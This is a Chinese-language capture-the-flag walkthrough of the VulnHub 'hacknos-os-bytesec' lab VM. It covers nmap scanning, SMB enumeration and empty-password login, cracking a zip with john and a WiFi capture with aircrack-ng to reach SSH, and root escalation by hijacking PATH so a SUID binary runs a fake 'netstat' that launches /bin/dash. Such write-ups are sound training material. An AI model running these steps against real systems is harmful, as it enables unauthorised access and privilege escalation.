01 环境搭建
- 靶机环境下载:https://www.vulnhub.com/entry/hacknos-os-bytesec,393/
- 题目信息如下,难度中等,需要获取俩个flag
Difficulty : Intermediate
Flag : 2 Flag first user And second root
Learning : exploit | SMB | Enumration | Stenography | Privilege Escalation
Contact .. https://www.linkedin.com/in/rahulgehlaut/
We recommend that you use VirtualBox and not VMware for this VM
02 信息收集
将靶机环境恢复到virtualbox
之后,开始第一步信息收集工作。
发现靶机
查看攻击机Kali的ip为192.168.56.1
(环境恢复时采用Host-Only Adapter)
使用nmap
扫描网段内的ip地址
nmap -sP 192.168.56.0/24
扫描发现的192.168.56.105
就是目标靶机的ip地址。
端口扫描
使用nmap
对目标靶机开放的端口进行扫描
nmap -Pn -n -sV 192.168.56.105
发现目标靶机仅开放了4个tcp端口,一个http的80端口,一个ssh的2525端口,和两个Samba端口139/445。
访问80端口,发现很多图片,但是并未有关键信息。用dirb
遍历目录也未发现有用信息。不过在主页底部有个####################GET#####smb##############free
,所以转向Samba。
03 Samba
enum4linux
使用enum4linux
查询靶机中的用户信息,发现其中存在一个smb
用户。
enum4linux -U 192.168.56.105
acccheck
使用acccheck
爆破用户smb
密码,是个空密码。
acccheck -t 192.168.56.105 -u smb -v
smbmap
使用smbmap
枚举靶机的共享资源
mbmap -u 'smb' -p '' -H 192.168.56.105
smbclient
使用smbclient
查看靶机的共享目录
smbclient -L 192.168.56.105 -U smb
使用smbclient
登录靶机,遍历里面的目录都是空目录。
smbclient //192.168.56.105/print$ -U smb
回头发现smbmap
的结果中有个.
的设备,难道是指向smb
用户的home目录?尝试登录//192.168.56.105/smb
,发现有两个文件。
为什么smbclient -L 192.168.56.105 -U smb
命令没有办法枚举靶机上共享的smb
目录?
04密码爆破
下载共享目录下的两个文件,main.txt
中只有helo
。尝试解压safe.zip
,发现需要密码,使用helo
发现不对。使用john
来爆破密码。
zip2john safe.zip > pass
john pass
爆破获得解压密码为hacker1
,解压后里面有个图片和抓包。图片检查后未发现有用信息。打开user.cap发现是一个wifi抓包,wifi名为blackjax
。
尝试用aircrack-ng
爆破wifi密码。
aircrack-ng -w /usr/share/wordlists/rockyou.txt user.cap
爆破得到wifi密码为snowflake
。尝试用此账户登录靶机的SSH,发现可以成功登录,获得第一个flag
05 提权
查看用户的sudo
配置,发现该用户不能执行sudo
sudo -l
查看系统中带SUID
的程序。发现其中有个netscan
比较可以。
find / -user root -perm -4000 -print 2>/dev/null
执行netscan
发现是个类似netstat
的命令。
逆向查看netscan
,发现最终调用的是system
函数。执行的命令在地址0x8048530
在地址0x8048530
上是netstat -antp
。所以netscan
其实是用system
调用的netstat
命令。
通过劫持环境变量来让netscan
在执行netstat
时执行恶意程序。
# 只有tmp才有写权限
echo "/bin/dash" > /tmp/netstat
chmod +x /tmp/netstat
export PATH=/tmp:$PATH
netscan
获取root权限后获得第二个flag